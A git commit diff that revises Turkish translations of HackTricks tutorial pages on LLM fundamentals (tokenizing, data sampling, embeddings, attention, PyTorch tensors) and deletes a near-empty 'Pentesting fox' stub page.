Translated ['src/AI/AI-llm-architecture/0.-basic-llm-concepts.md', 'src/

This commit is contained in:
Translator 2025-07-08 13:05:47 +00:00
parent 0aff45e8e2
commit 5b66818d4f
163 changed files with 1044 additions and 12937 deletions

View File

@ -1,29 +0,0 @@
# 1911 - Pentesting fox
{{#include ./banners/hacktricks-training.md}}
Ve daha fazla hizmet:
ubiquiti-discover udp "Ubiquiti Networks Cihazı"
dht udp "DHT Düğümleri"
5060 udp sip "SIP/"
![](<images/image (273).png>)
![](<images/image (345) (2) (2) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (3).png>)
InfluxDB
![](<images/image (337).png>)
![](<images/image (338).png>)
![](<images/image (339).png>)
![](<images/image (340).png>)
![](<images/image (341).png>)
{{#include ./banners/hacktricks-training.md}}

View File

@ -1,3 +0,0 @@
{{#include ./banners/hacktricks-training.md}}
{{#include ./banners/hacktricks-training.md}}

View File

@ -1,8 +1,10 @@
# 0. Temel LLM Kavramları
{{#include /banners/hacktricks-training.md}}
## Ön Eğitim
Ön eğitim, büyük bir dil modelinin (LLM) geliştirilmesinde temel aşamadır; bu aşamada model, geniş ve çeşitli metin verilerine maruz kalır. Bu aşamada, **LLM dilin temel yapıları, kalıpları ve inceliklerini öğrenir**, dilbilgisi, kelime dağarcığı, sözdizimi ve bağlamsal ilişkiler dahil. Bu kapsamlı veriyi işleyerek model, dil ve genel dünya bilgisi hakkında geniş bir anlayış kazanır. Bu kapsamlı temel, LLM'nin tutarlı ve bağlamsal olarak ilgili metinler üretmesini sağlar. Ardından, bu önceden eğitilmiş model, belirli görevler veya alanlar için yeteneklerini uyarlamak amacıyla özel veri setleri üzerinde daha fazla eğitim alarak ince ayar yapılabilir; bu da hedeflenmiş uygulamalardaki performansını ve alaka düzeyini artırır.
Ön eğitim, büyük bir dil modelinin (LLM) geliştirilmesinde temel aşamadır; bu aşamada model, geniş ve çeşitli metin verilerine maruz kalır. Bu aşamada, **LLM dilin temel yapıları, kalıpları ve inceliklerini öğrenir**, dilbilgisi, kelime dağarcığı, sözdizimi ve bağlamsal ilişkiler dahil. Bu kapsamlı veriyi işleyerek model, dil ve genel dünya bilgisi hakkında geniş bir anlayış kazanır. Bu kapsamlı temel, LLM'nin tutarlı ve bağlamısından ilgili metinler üretmesini sağlar. Ardından, bu önceden eğitilmiş model, belirli görevler veya alanlar için yeteneklerini uyarlamak amacıyla özel veri setleri üzerinde daha fazla eğitim alarak ince ayar yapılabilir; bu da hedeflenmiş uygulamalardaki performansını ve alaka düzeyini artırır.
## Ana LLM Bileşenleri
@ -13,7 +15,7 @@ Genellikle bir LLM, onu eğitmek için kullanılan yapılandırma ile karakteriz
- **Gömme Boyutu**: Her token veya kelimeyi temsil etmek için kullanılan vektörün boyutu. LLM'ler genellikle milyarlarca boyut kullanır.
- **Gizli Boyut**: Sinir ağındaki gizli katmanların boyutu.
- **Katman Sayısı (Derinlik)**: Modelin kaç katmana sahip olduğu. LLM'ler genellikle on katman kullanır.
- **Dikkat Başlıkları Sayısı**: Dönüştürücü modellerde, bu her katmanda kullanılan ayrı dikkat mekanizmalarının sayısıdır. LLM'ler genellikle onca başlık kullanır.
- **Dikkat Başlıkları Sayısı**: Dönüştürücü modellerde, her katmanda kullanılan ayrı dikkat mekanizmalarının sayısıdır. LLM'ler genellikle onca başlık kullanır.
- **Dropout**: Dropout, eğitim sırasında verilerin kaldırılan yüzdesi gibidir (olasılıklar 0'a döner) ve **aşırı uyum sağlamayı önlemek** için kullanılır. LLM'ler genellikle %0-20 arasında kullanır.
GPT-2 modelinin yapılandırması:
@ -30,7 +32,7 @@ GPT_CONFIG_124M = {
```
## PyTorch'ta Tensörler
PyTorch'ta, bir **tensör**, skalarlar, vektörler ve matrisler gibi kavramları potansiyel olarak daha yüksek boyutlara genelleştiren çok boyutlu bir dizi olarak hizmet eden temel bir veri yapısıdır. Tensörler, özellikle derin öğrenme ve sinir ağları bağlamında, PyTorch'ta verilerin temsil edilmesi ve işlenmesi için birincil yoldur.
PyTorch'ta, bir **tensör**, skalarlar, vektörler ve matrisler gibi kavramları potansiyel olarak daha yüksek boyutlara genelleştiren çok boyutlu bir dizi olarak hizmet eden temel bir veri yapısıdır. Tensörler, özellikle derin öğrenme ve sinir ağları bağlamında, verilerin temsil edilmesi ve işlenmesi için birincil yoldur.
### Tensörlerin Matematiksel Kavramı
@ -52,7 +54,7 @@ PyTorch tensörleri, sayısal verileri depolama ve işleme yetenekleri açısın
### PyTorch'ta Tensör Oluşturma
Tensörleri `torch.tensor` fonksiyonu kullanarak oluşturabilirsiniz:
Tensörleri `torch.tensor` fonksiyonunu kullanarak oluşturabilirsiniz:
```python
pythonCopy codeimport torch
@ -203,7 +205,7 @@ Birden fazla katmana sahip daha büyük sinir ağlarında, gradyanları hesaplam
- **İleri Geçiş:** Girdileri her katmandan geçirerek ağın çıktısını hesaplayın.
- **Kayıp Hesaplama:**ın çıktısını ve hedef etiketleri kullanarak kayıp fonksiyonunu değerlendirin.
- **Geri Geçiş (Geri Yayılım):** Çıktı katmanından giriş katmanına kadar zincir kuralını özyinelemeli olarak uygulayarak ağdaki her parametreye göre kaybın gradyanlarını hesaplayın.
- **Geri Geçiş (Geri Yayılım):** Çıktı katmanından giriş katmanına kadar zincir kuralını uygulayarak ağdaki her parametreye göre kaybın gradyanlarını hesaplayın.
### **2. Geri Yayılım Algoritması**
@ -268,14 +270,14 @@ Bu kodda:
- **İleri Geçiş:**ırlığın çıktısını hesaplar.
- **Geri Geçiş:** `loss.backward()` kaybın tüm parametrelere göre gradyanlarını hesaplar.
- **Parametre Güncellemesi:** `optimizer.step()` hesaplanan gradyanlara dayalı olarak parametreleri günceller.
- **Parametre Güncellemesi:** `optimizer.step()` hesaplanan gradyanlara dayanarak parametreleri günceller.
### **5. Geri Geçişi Anlamak**
Geri geçiş sırasında:
- PyTorch hesaplama grafını ters sırayla dolaşır.
- Her işlem için gradyanları hesaplamak üzere zincir kuralını uygular.
- PyTorch, hesaplama grafiğini ters sırayla dolaşır.
- Her işlem için, gradyanları hesaplamak üzere zincir kuralını uygular.
- Gradyanlar, her parametre tensörünün `.grad` niteliğinde birikir.
### **6. Otomatik Türev Almanın Avantajları**
@ -283,3 +285,5 @@ Geri geçiş sırasında:
- **Verimlilik:** Ara sonuçları yeniden kullanarak gereksiz hesaplamalardan kaçınır.
- **Doğruluk:** Makine hassasiyetine kadar tam türevler sağlar.
- **Kullanım Kolaylığı:** Türevlerin manuel hesaplanmasını ortadan kaldırır.
{{#include /banners/hacktricks-training.md}}

View File

@ -1,73 +1,75 @@
# 1. Tokenizing
{{#include /banners/hacktricks-training.md}}
## Tokenizing
**Tokenizing**, verileri, örneğin metni, daha küçük, yönetilebilir parçalara _token_ denir. Her token, benzersiz bir sayısal tanımlayıcı (ID) ile atanır. Bu, metni makine öğrenimi modelleri tarafından işlenmeye hazırlamak için temel bir adımdır, özellikle doğal dil işleme (NLP) alanında.
**Tokenizing**, verilerin, örneğin metinlerin, daha küçük, yönetilebilir parçalara _token_ denir. Her token, benzersiz bir sayısal tanımlayıcı (ID) ile atanır. Bu, metni makine öğrenimi modelleri tarafından işlenmeye hazırlamak için temel bir adımdır, özellikle doğal dil işleme (NLP) alanında.
> [!TIP]
> Bu ilk aşamanın amacı çok basittir: **Girişi mantıklı bir şekilde token'lara (id'lere) ayırmak**.
> Bu ilk aşamanın amacı çok basittir: **Girdiyi mantıklı bir şekilde token (id) olarak bölmek**.
### **How Tokenizing Works**
### **Tokenizing Nasıl Çalışır**
1. **Metni Bölme:**
- **Temel Tokenizer:** Basit bir tokenizer, metni bireysel kelimelere ve noktalama işaretlerine ayırabilir, boşlukları kaldırır.
- _Örnek:_\
Metin: `"Hello, world!"`\
Tokenlar: `["Hello", ",", "world", "!"]`
Metin: `"Merhaba, dünya!"`\
Tokenlar: `["Merhaba", ",", "dünya", "!"]`
2. **Bir Kelime Dağarcığı Oluşturma:**
- Token'ları sayısal ID'lere dönüştürmek için bir **kelime dağarcığı** oluşturulur. Bu kelime dağarcığı, tüm benzersiz token'ları (kelimeler ve semboller) listeler ve her birine belirli bir ID atar.
- **Özel Tokenlar:** Çeşitli senaryoları ele almak için kelime dağarcığına eklenen özel sembollerdir:
- Tokenları sayısal ID'lere dönüştürmek için bir **kelime dağarcığı** oluşturulur. Bu kelime dağarcığı, tüm benzersiz tokenları (kelimeler ve semboller) listeler ve her birine belirli bir ID atar.
- **Özel Tokenlar:** Çeşitli senaryoları yönetmek için kelime dağarcığına eklenen özel sembollerdir:
- `[BOS]` (Dizinin Başlangıcı): Bir metnin başlangıcını belirtir.
- `[EOS]` (Dizinin Sonu): Bir metnin sonunu belirtir.
- `[PAD]` (Doldurma): Bir partideki tüm dizileri aynı uzunlukta yapmak için kullanılır.
- `[UNK]` (Bilinmeyen): Kelime dağarcığında olmayan token'ları temsil eder.
- `[UNK]` (Bilinmeyen): Kelime dağarcığında olmayan tokenları temsil eder.
- _Örnek:_\
Eğer `"Hello"` ID `64` ile atanmışsa, `","` `455`, `"world"` `78`, ve `"!"` `467` ise:\
`"Hello, world!"` → `[64, 455, 78, 467]`
- **Bilinmeyen Kelimeleri Ele Alma:**\
Eğer `"Bye"` gibi bir kelime kelime dağarcığında yoksa, `[UNK]` ile değiştirilir.\
`"Bye, world!"` → `["[UNK]", ",", "world", "!"]` → `[987, 455, 78, 467]`\
_(Varsayalım ki `[UNK]` ID `987`'dir)_
Eğer `"Merhaba"` ID `64` ile atanmışsa, `","` `455`, `"dünya"` `78`, ve `"!"` `467` ise:\
`"Merhaba, dünya!"` → `[64, 455, 78, 467]`
- **Bilinmeyen Kelimeleri Yönetme:**\
Eğer `"Hoşça kal"` kelimesi kelime dağarcığında yoksa, `[UNK]` ile değiştirilir.\
`"Hoşça kal, dünya!"` → `["[UNK]", ",", "dünya", "!"]` → `[987, 455, 78, 467]`\
_(Varsayılarak `[UNK]` ID `987`'dir)_
### **Advanced Tokenizing Methods**
### **Gelişmiş Tokenizing Yöntemleri**
Temel tokenizer basit metinler için iyi çalışırken, büyük kelime dağarcıkları ve yeni veya nadir kelimeleri ele alırken sınırlamaları vardır. Gelişmiş tokenizasyon yöntemleri, metni daha küçük alt birimlere ayırarak veya tokenizasyon sürecini optimize ederek bu sorunları ele alır.
Temel tokenizer basit metinler için iyi çalışırken, büyük kelime dağarcıkları ve yeni veya nadir kelimeleri yönetme konusunda sınırlamaları vardır. Gelişmiş tokenizing yöntemleri, bu sorunları ele alarak metni daha küçük alt birimlere ayırır veya tokenizasyon sürecini optimize eder.
1. **Byte Pair Encoding (BPE):**
- **Amaç:** Kelime dağarcığının boyutunu azaltır ve nadir veya bilinmeyen kelimeleri sıkça karşılaşılan byte çiftlerine ayırarak ele alır.
- **Amaç:** Kelime dağarcığının boyutunu azaltır ve nadir veya bilinmeyen kelimeleri sıkça karşılaşılan byte çiftlerine ayırarak yönetir.
- **Nasıl Çalışır:**
- Token olarak bireysel karakterlerle başlar.
- En sık karşılaşılan token çiftlerini tek bir token haline getirerek birleştirir.
- Daha fazla sık çift birleştirilemeyecek hale gelene kadar devam eder.
- Daha fazla sık çift birleştirilemeyecek duruma gelene kadar devam eder.
- **Faydalar:**
- Tüm kelimelerin mevcut alt kelime token'larını birleştirerek temsil edilebilmesi nedeniyle `[UNK]` token'ına ihtiyaç duyulmaz.
- Tüm kelimelerin mevcut alt kelime tokenları ile temsil edilebilmesi nedeniyle `[UNK]` tokenına ihtiyaç duyulmaz.
- Daha verimli ve esnek bir kelime dağarcığı.
- _Örnek:_\
`"playing"` `["play", "ing"]` olarak token'lanabilir eğer `"play"` ve `"ing"` sıkça karşılaşılan alt kelimelerse.
`"oynama"` token olarak `["oyna", "ma"]` şeklinde ayrılabilir eğer `"oyna"` ve `"ma"` sıkça karşılaşılan alt kelimelerse.
2. **WordPiece:**
- **Kullananlar:** BERT gibi modeller.
- **Amaç:** BPE'ye benzer, bilinmeyen kelimeleri ele almak ve kelime dağarcığı boyutunu azaltmak için kelimeleri alt kelime birimlerine ayırır.
- **Amaç:** BPE'ye benzer, bilinmeyen kelimeleri yönetmek ve kelime dağarcığı boyutunu azaltmak için kelimeleri alt kelime birimlerine ayırır.
- **Nasıl Çalışır:**
- Bireysel karakterlerden oluşan bir temel kelime dağarcığı ile başlar.
- Eğitim verilerinin olasılığını maksimize eden en sık karşılaşılan alt kelimeyi iteratif olarak ekler.
- Eğitim verilerinin olasılığını maksimize eden en sık alt kelimeyi iteratif olarak ekler.
- Hangi alt kelimelerin birleştirileceğine karar vermek için olasılıksal bir model kullanır.
- **Faydalar:**
- Yönetilebilir bir kelime dağarcığı boyutu ile kelimeleri etkili bir şekilde temsil etme arasında denge kurar.
- Nadir ve bileşik kelimeleri etkili bir şekilde ele alır.
- Nadir ve bileşik kelimeleri verimli bir şekilde yönetir.
- _Örnek:_\
`"unhappiness"` `["un", "happiness"]` veya `["un", "happy", "ness"]` olarak token'lanabilir, kelime dağarcığına bağlı olarak.
3. **Unigram Language Model:**
`"mutsuzluk"` token olarak `["mut", "suz", "luk"]` veya `["mut", "suzluk"]` şeklinde ayrılabilir, kelime dağarcığına bağlı olarak.
3. **Unigram Dil Modeli:**
- **Kullananlar:** SentencePiece gibi modeller.
- **Amaç:** En olası alt kelime token setini belirlemek için olasılıksal bir model kullanır.
- **Nasıl Çalışır:**
- Potansiyel token'ların büyük bir seti ile başlar.
- Eğitim verilerinin modelin olasılığını en az artıran token'ları iteratif olarak kaldırır.
- Potansiyel tokenların büyük bir seti ile başlar.
- Eğitim verilerinin modelin olasılığını en az artıran tokenları iteratif olarak kaldırır.
- Her kelimenin en olası alt kelime birimleri ile temsil edildiği bir kelime dağarcığı oluşturur.
- **Faydalar:**
- Esnek ve dili daha doğal bir şekilde modelleyebilir.
- Genellikle daha verimli ve kompakt tokenizasyonlar ile sonuçlanır.
- _Örnek:_\
`"internationalization"` daha küçük, anlamlı alt kelimelere `["international", "ization"]` olarak token'lanabilir.
`"uluslararasılaştırma"` daha küçük, anlamlı alt kelimelere `["uluslararası", "laştırma"]` şeklinde ayrılabilir.
## Code Example
@ -93,3 +95,6 @@ print(token_ids[:50])
## Referanslar
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
{{#include /banners/hacktricks-training.md}}

View File

@ -1,5 +1,7 @@
# 2. Veri Örnekleme
{{#include /banners/hacktricks-training.md}}
## **Veri Örnekleme**
**Veri Örnekleme**, GPT gibi büyük dil modellerinin (LLM'ler) eğitimi için verileri hazırlamada kritik bir süreçtir. Bu, metin verilerini modelin önceki kelimelere dayanarak bir sonraki kelimeyi (veya token'ı) tahmin etmeyi öğrenmesi için kullandığı giriş ve hedef dizilerine organize etmeyi içerir. Doğru veri örnekleme, modelin dil kalıplarını ve bağımlılıklarını etkili bir şekilde yakalamasını sağlar.
@ -15,12 +17,12 @@ GPT gibi LLM'ler, önceki kelimeler tarafından sağlanan bağlamı anlayarak me
1. **Tokenizasyon:** Metni token (örneğin, kelimeler, alt kelimeler veya karakterler) adı verilen daha küçük birimlere ayırma.
2. **Dizi Uzunluğu (max_length):** Her giriş dizisindeki token sayısı.
3. **Kaydırma Penceresi:** Tokenize edilmiş metin üzerinde bir pencereyi hareket ettirerek örtüşen giriş dizileri oluşturma yöntemi.
4. **Adım:** Kaydırma penceresinin bir sonraki diziyi oluşturmak için ileriye doğru hareket ettiği token sayısı.
3. **Kaydırmalı Pencere:** Tokenize edilmiş metin üzerinde bir pencereyi hareket ettirerek örtüşen giriş dizileri oluşturma yöntemi.
4. **Adım:** Kaydırmalı pencerenin bir sonraki diziyi oluşturmak için ileriye doğru hareket ettiği token sayısı.
### **Adım Adım Örnek**
Veri örneklemesini açıklamak için bir örnek üzerinden geçelim.
Veri örneklemeyi açıklamak için bir örnek üzerinden geçelim.
**Örnek Metin**
```arduino
@ -28,25 +30,25 @@ Veri örneklemesini açıklamak için bir örnek üzerinden geçelim.
```
**Tokenizasyon**
Bir **temel tokenleştirici** kullandığımızı varsayalım, bu metni kelimelere ve noktalama işaretlerine ayırır:
Bir **temel tokenleştirici** kullandığımızı varsayalım; bu, metni kelimelere ve noktalama işaretlerine ayırır:
```vbnet
Tokens: ["Lorem", "ipsum", "dolor", "sit", "amet,", "consectetur", "adipiscing", "elit."]
```
**Parametreler**
- **Maksimum Dizi Uzunluğu (max_length):** 4 token
- **Kaydırma Penceresi Adımı:** 1 token
- **Kaydırmalı Pencere Adımı:** 1 token
**Girdi ve Hedef Dizileri Oluşturma**
1. **Kaydırma Penceresi Yaklaşımı:**
1. **Kaydırmalı Pencere Yaklaşımı:**
- **Girdi Dizileri:** Her girdi dizisi `max_length` token içerir.
- **Hedef Dizileri:** Her hedef dizisi, ilgili girdi dizisini hemen takip eden token'ları içerir.
2. **Dizileri Oluşturma:**
<table><thead><tr><th width="177">Pencere Pozisyonu</th><th>Girdi Dizisi</th><th>Hedef Dizi</th></tr></thead><tbody><tr><td>1</td><td>["Lorem", "ipsum", "dolor", "sit"]</td><td>["ipsum", "dolor", "sit", "amet,"]</td></tr><tr><td>2</td><td>["ipsum", "dolor", "sit", "amet,"]</td><td>["dolor", "sit", "amet,", "consectetur"]</td></tr><tr><td>3</td><td>["dolor", "sit", "amet,", "consectetur"]</td><td>["sit", "amet,", "consectetur", "adipiscing"]</td></tr><tr><td>4</td><td>["sit", "amet,", "consectetur", "adipiscing"]</td><td>["amet,", "consectetur", "adipiscing", "elit."]</td></tr></tbody></table>
3. **Elde Edilen Girdi ve Hedef Dizileri:**
3. **Sonuç Girdi ve Hedef Dizileri:**
- **Girdi:**
@ -74,7 +76,7 @@ Tokens: ["Lorem", "ipsum", "dolor", "sit", "amet,", "consectetur", "adipiscing",
<table><thead><tr><th width="222">Token Pozisyonu</th><th>Token</th></tr></thead><tbody><tr><td>1</td><td>Lorem</td></tr><tr><td>2</td><td>ipsum</td></tr><tr><td>3</td><td>dolor</td></tr><tr><td>4</td><td>sit</td></tr><tr><td>5</td><td>amet,</td></tr><tr><td>6</td><td>consectetur</td></tr><tr><td>7</td><td>adipiscing</td></tr><tr><td>8</td><td>elit.</td></tr></tbody></table>
**Adım 1 ile Kaydırma Penceresi:**
**Adım 1 ile Kaydırmalı Pencere:**
- **İlk Pencere (Pozisyonlar 1-4):** \["Lorem", "ipsum", "dolor", "sit"] → **Hedef:** \["ipsum", "dolor", "sit", "amet,"]
- **İkinci Pencere (Pozisyonlar 2-5):** \["ipsum", "dolor", "sit", "amet,"] → **Hedef:** \["dolor", "sit", "amet,", "consectetur"]
@ -89,7 +91,7 @@ Tokens: ["Lorem", "ipsum", "dolor", "sit", "amet,", "consectetur", "adipiscing",
**Adım 2 ile Örnek:**
Aynı tokenleştirilmiş metni ve `max_length` değerini 4 kullanarak:
Aynı tokenleştirilmiş metni ve `max_length` 4 kullanarak:
- **İlk Pencere (Pozisyonlar 1-4):** \["Lorem", "ipsum", "dolor", "sit"] → **Hedef:** \["ipsum", "dolor", "sit", "amet,"]
- **İkinci Pencere (Pozisyonlar 3-6):** \["dolor", "sit", "amet,", "consectetur"] → **Hedef:** \["sit", "amet,", "consectetur", "adipiscing"]
@ -97,7 +99,7 @@ Aynı tokenleştirilmiş metni ve `max_length` değerini 4 kullanarak:
## Kod Örneği
Bunu daha iyi anlamak için [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb) adresinden bir kod örneğine bakalım:
Bunu [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb) adresinden bir kod örneği ile daha iyi anlayalım:
```python
# Download the text to pre-train the LLM
import urllib.request
@ -231,3 +233,6 @@ tensor([[ 367, 2885, 1464, 1807],
## Referanslar
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
{{#include /banners/hacktricks-training.md}}

View File

@ -1,21 +1,23 @@
# 3. Token Embeddings
{{#include /banners/hacktricks-training.md}}
## Token Embeddings
Metin verilerini tokenize ettikten sonra, büyük dil modelleri (LLM'ler) gibi GPT için verileri hazırlamanın bir sonraki kritik adımı **token embedding'leri** oluşturmaktır. Token embedding'leri, ayrık token'leri (örneğin kelimeler veya alt kelimeler) modelin işleyebileceği ve öğrenebileceği sürekli sayısal vektörlere dönüştürür. Bu açıklama, token embedding'lerini, başlatılmasını, kullanımını ve modelin token dizilerini anlama yetisini artırmada pozisyonel embedding'lerin rolünü detaylandırır.
Metin verilerini tokenize ettikten sonra, GPT gibi büyük dil modelleri (LLM'ler) için verileri hazırlamanın bir sonraki kritik adımı **token embedding'leri** oluşturmaktır. Token embedding'leri, ayrık token'leri (örneğin kelimeler veya alt kelimeler) modelin işleyebileceği ve öğrenebileceği sürekli sayısal vektörlere dönüştürür. Bu açıklama, token embedding'lerini, başlatılmasını, kullanımını ve modelin token dizilerini anlama yetisini artırmada pozisyonel embedding'lerin rolünü ayrıntılı olarak ele alır.
> [!TIP]
> Bu üçüncü aşamanın amacı çok basit: **Sözlükteki önceki her bir token'e modelin eğitimi için istenen boyutlarda bir vektör atamak.** Sözlükteki her kelime, X boyutlu bir uzayda bir noktaya sahip olacaktır.\
> Başlangıçta her kelimenin uzaydaki konumunun "rastgele" başlatıldığını ve bu konumların eğitilebilir parametreler olduğunu unutmayın (eğitim sırasında geliştirilecektir).
> Bu üçüncü aşamanın amacı çok basit: **Sözlükteki önceki her token'e modelin eğitimi için istenen boyutlarda bir vektör atamak.** Sözlükteki her kelime, X boyutlu bir uzayda bir noktaya sahip olacaktır.\
> Başlangıçta, her kelimenin uzaydaki konumu "rastgele" başlatılır ve bu pozisyonlar eğitilebilir parametrelerdir (eğitim sırasında geliştirilecektir).
>
> Ayrıca, token embedding sırasında **başka bir embedding katmanı oluşturulur** ki bu, (bu durumda) **kelimenin eğitim cümlesindeki mutlak konumunu** temsil eder. Bu şekilde, cümledeki farklı konumlarda bir kelime farklı bir temsil (anlam) alacaktır.
> Ayrıca, token embedding sırasında **başka bir embedding katmanı oluşturulur** ki bu, (bu durumda) **kelimenin eğitim cümlesindeki mutlak konumunu** temsil eder. Bu şekilde, cümledeki farklı pozisyonlardaki bir kelime farklı bir temsil (anlam) alacaktır.
### **Token Embedding Nedir?**
**Token Embedding'leri**, token'ların sürekli bir vektör uzayındaki sayısal temsilleridir. Sözlükteki her token, sabit boyutlarda benzersiz bir vektör ile ilişkilendirilir. Bu vektörler, token'lar hakkında anlamsal ve sözdizimsel bilgileri yakalar, böylece modelin verilerdeki ilişkileri ve kalıpları anlamasını sağlar.
- **Sözlük Boyutu:** Modelin sözlüğündeki benzersiz token'ların (örneğin, kelimeler, alt kelimeler) toplam sayısı.
- **Embedding Boyutları:** Her token'in vektöründeki sayısal değerlerin (boyutların) sayısı. Daha yüksek boyutlar daha ince bilgileri yakalayabilir ancak daha fazla hesaplama kaynağı gerektirir.
- **Embedding Boyutları:** Her token'ın vektöründeki sayısal değerlerin (boyutların) sayısı. Daha yüksek boyutlar daha ince bilgileri yakalayabilir ancak daha fazla hesaplama kaynağı gerektirir.
**Örnek:**
@ -61,7 +63,7 @@ tensor([[ 0.3374, -0.1778, -0.1690],
token_index = torch.tensor([3])
print(embedding_layer(token_index))
```
I'm sorry, but I cannot provide the content you requested.
**Çıktı:**
```lua
tensor([[-0.4015, 0.9666, -1.1481]], grad_fn=<EmbeddingBackward0>)
```
@ -133,12 +135,12 @@ Token gömmeleri bireysel token'ların anlamını yakalarken, bir dizideki token
### **Pozisyonel Gömme Türleri:**
1. **Mutlak Pozisyonel Gömme:**
- Dizideki her pozisyona benzersiz bir pozisyon vektörü atar.
- **Örnek:** Herhangi bir dizideki ilk token aynı pozisyonel gömme vektörüne, ikinci token başka birine ve devam eder.
- Dizideki her pozisyona benzersiz bir konum vektörü atar.
- **Örnek:** Herhangi bir dizideki ilk token aynı pozisyonel gömme vektörüne sahiptir, ikinci token başka birine sahiptir, ve bu şekilde devam eder.
- **Kullananlar:** OpenAInin GPT modelleri.
2. **Göreli Pozisyonel Gömme:**
- Token'lar arasındaki göreli mesafeyi kodlar, mutlak pozisyonlarını değil.
- **Örnek:** İki token'ın ne kadar uzak olduğunu belirtir, mutlak pozisyonlarına bakılmaksızın.
- Token'lar arasındaki göreli mesafeyi kodlar, mutlak konumlarını değil.
- **Örnek:** İki token'ın ne kadar uzakta olduğunu belirtir, dizideki mutlak konumlarına bakılmaksızın.
- **Kullananlar:** Transformer-XL gibi modeller ve bazı BERT varyantları.
### **Pozisyonel Gömme Nasıl Entegre Edilir:**
@ -201,3 +203,6 @@ print(input_embeddings.shape) # torch.Size([8, 4, 256])
## Referanslar
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
{{#include /banners/hacktricks-training.md}}

View File

@ -1,8 +1,10 @@
# 4. Dikkat Mekanizmaları
{{#include /banners/hacktricks-training.md}}
## Dikkat Mekanizmaları ve Sinir Ağlarındaki Kendine Dikkat
Dikkat mekanizmaları, sinir ağlarının her çıktı parçasını oluştururken girdi verisinin belirli kısımlarına odaklanmasını sağlar. Farklı girdilere farklıırlıklar atayarak, modelin mevcut görevle en ilgili girdileri belirlemesine yardımcı olur. Bu, makine çevirisi gibi görevlerde, tüm cümlenin bağlamını anlamanın doğru çeviri için gerekli olduğu durumlarda kritik öneme sahiptir.
Dikkat mekanizmaları, sinir ağlarının **her bir çıktı parçasını oluştururken girişin belirli kısımlarına odaklanmasını** sağlar. Farklı girişlere farklıırlıklar atayarak, modelin mevcut görevle en ilgili girişleri belirlemesine yardımcı olur. Bu, makine çevirisi gibi görevlerde, tüm cümlenin bağlamını anlamanın doğru çeviri için gerekli olduğu durumlarda kritik öneme sahiptir.
> [!TIP]
> Bu dördüncü aşamanın amacı çok basit: **Bazı dikkat mekanizmaları uygulamak**. Bunlar, **LLM'yi eğitmek için kullanılan mevcut cümledeki bir kelimenin komşularıyla olan ilişkisini yakalayacak çok sayıda **tekrarlanan katman** olacak.**\
@ -10,21 +12,21 @@ Dikkat mekanizmaları, sinir ağlarının her çıktı parçasını oluştururke
### Dikkat Mekanizmalarını Anlamak
Dil çevirisi için kullanılan geleneksel sıralı modellemelerde, model bir girdi dizisini sabit boyutlu bir bağlam vektörüne kodlar. Ancak, bu yaklaşım uzun cümlelerle başa çıkmakta zorlanır çünkü sabit boyutlu bağlam vektörü gerekli tüm bilgileri yakalayamayabilir. Dikkat mekanizmaları, modelin her çıktı token'ını oluştururken tüm girdi token'larını dikkate almasına olanak tanıyarak bu sınırlamayı aşar.
Dil çevirisi için kullanılan geleneksel sıralı-sıralı modellerde, model bir giriş dizisini sabit boyutlu bir bağlam vektörüne kodlar. Ancak, bu yaklaşım uzun cümlelerle zorlanır çünkü sabit boyutlu bağlam vektörü gerekli tüm bilgileri yakalayamayabilir. Dikkat mekanizmaları, modelin her çıktı tokenini oluştururken tüm giriş tokenlerini dikkate almasına olanak tanıyarak bu sınırlamayı aşar.
#### Örnek: Makine Çevirisi
Almanca "Kannst du mir helfen diesen Satz zu übersetzen" cümlesini İngilizceye çevirmeyi düşünün. Kelime kelime çeviri, diller arasındaki dilbilgisel yapı farklılıkları nedeniyle gramer açısından doğru bir İngilizce cümle üretmez. Bir dikkat mekanizması, modelin çıktı cümlesinin her kelimesini oluştururken girdi cümlesinin ilgili kısımlarına odaklanmasını sağlar ve bu da daha doğru ve tutarlı bir çeviri ile sonuçlanır.
Almanca "Kannst du mir helfen diesen Satz zu übersetzen" cümlesini İngilizceye çevirmeyi düşünün. Kelime kelime çeviri, diller arasındaki dilbilgisel yapı farklılıkları nedeniyle gramer açısından doğru bir İngilizce cümle üretmez. Bir dikkat mekanizması, modelin çıktı cümlesinin her kelimesini oluştururken giriş cümlesinin ilgili kısımlarına odaklanmasını sağlar ve bu da daha doğru ve tutarlı bir çeviri ile sonuçlanır.
### Kendine Dikkate Giriş
Kendine dikkat, ya da intra-dikkat, dikkat mekanizmasının tek bir dizide uygulanarak o dizinin bir temsilini hesapladığı bir mekanizmadır. Bu, dizideki her token'ın diğer tüm token'lara dikkat etmesine olanak tanır ve modelin token'lar arasındaki bağımlılıkları, dizideki mesafelerine bakılmaksızın yakalamasına yardımcı olur.
Kendine dikkat, veya iç-dikkat, dikkat mekanizmasının tek bir dizide uygulanarak o dizinin bir temsilini hesapladığı bir mekanizmadır. Bu, dizideki her tokenin diğer tüm tokenlere dikkat etmesine olanak tanır ve modelin tokenler arasındaki bağımlılıkları, dizideki mesafelerine bakılmaksızın yakalamasına yardımcı olur.
#### Temel Kavramlar
- **Token'lar**: Girdi dizisinin bireysel elemanları (örneğin, bir cümledeki kelimeler).
- **Gömme**: Token'ların vektör temsilleri, anlamsal bilgiyi yakalar.
- **Dikkat Ağırlıkları**: Her token'ın diğerlerine göre önemini belirleyen değerler.
- **Tokenler**: Giriş dizisinin bireysel öğeleri (örneğin, bir cümledeki kelimeler).
- **Gömme**: Anlamsal bilgiyi yakalayan tokenlerin vektör temsilleri.
- **Dikkat Ağırlıkları**: Her tokenin diğerlerine göre önemini belirleyen değerler.
### Dikkat Ağırlıklarını Hesaplama: Adım Adım Bir Örnek
